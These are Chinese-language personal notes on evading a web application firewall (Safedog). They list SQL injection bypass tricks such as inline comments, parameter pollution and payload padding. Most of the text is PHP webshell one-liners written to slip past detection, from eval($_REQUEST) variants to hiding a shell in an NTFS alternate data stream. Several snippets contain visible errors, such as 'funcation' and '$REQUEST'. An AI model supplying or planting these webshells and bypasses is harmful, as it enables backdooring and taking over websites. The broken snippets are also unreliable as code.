注意:仅用于本人学习的笔记记录,禁止进行传播分享,一旦造成严重后果与本人无关!!!
WAF:
web应用防护系统(网站应用级防御系统)
waf会拦截恶意传参,但并不是所有的拦截都是waf干的
硬件waf、软件waf、云waf
WAF检测机制的核心就是正则表达式
测试环境
系统:win2008R2
最新版安全狗:
一、常见绕WAF手法
Bypass SQL
1、大小写绕过(很老的waf才有用)
2、替换绕过
3、特殊字符绕过(%0a换行) \sleep() \updataxml()
4、编码绕过(利用检测机制的不同,通过编码绕过)
5、等价替换(利用其他函数替换
注释 /**/ 数据库中是注释的意思
内联注释 /*!5001*/ 当数据库版本大于5001执行
6、容器特征(apche的hpp、或者是iis的%分割)
iis传参里面 s%e%l%e%c%t => select
apche参数污染,传两个参数,以后一个参数为准
id=phpinfo() /*&id=1 and 1=2-- qwe*/
7、白名单(管理员权限或者是127.0.0.1本地不拦截、文件后缀名)
8、缓冲区(数据太多超过waf检测范围)
安全狗一般检测4000个
?id= 1 /* ...... */ union select 1,2,3,4
二、绕WAF写码
Bypass webshell
1、<?php eval($_REQUEST[8]);?> 非常的难以置信,这个竟然没有拦截
2、<?php eval(end($_REQUEST));?>
3、<?php define("a","$_REQUEST");eval(a)?>
4、变量覆盖绕过
<?php $a="ev"; $b="al"; $c=$a$b; $d="c";
$$d($_REQUEST[8]); ?>
5、函数绕过
<?php funcation a($a,$b){return $a.$b;} eval(a("$_REQ","UEST")[8])?>
6、魔术方法绕过
<?php
class User{
public $name;
public function __destruct(){
eval("$this->name");
}
}
$user = new User();
$user->name="$_REQUEST[8]";
?>
7、类方法绕过
<?php $COOKIE=$_COOKIE;
foreach($COOKIE as $key=> $value){
if($key=='eval'){
$key($REQUEST[8])
}
}?>
8、内置函数
<?php
$a=get_defined_functions();
$a[internal][841]($_REQUEST[1])
?>
9、绕WAF终极手法,连接外部数据库hjw,获取info表中的第一行数据eval($_REQUEST[8])
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysql_connect('127.0.0.1','root','root','hjw123'),'select * from info'))['info']) //键为info的地方
?>
10、拿到shell之后藏shell的妙招ntf文件流
一、echo "<?php eval($_REQUEST[8])?>" >> /:123.txt
二、<?php include('/:123.txt')?>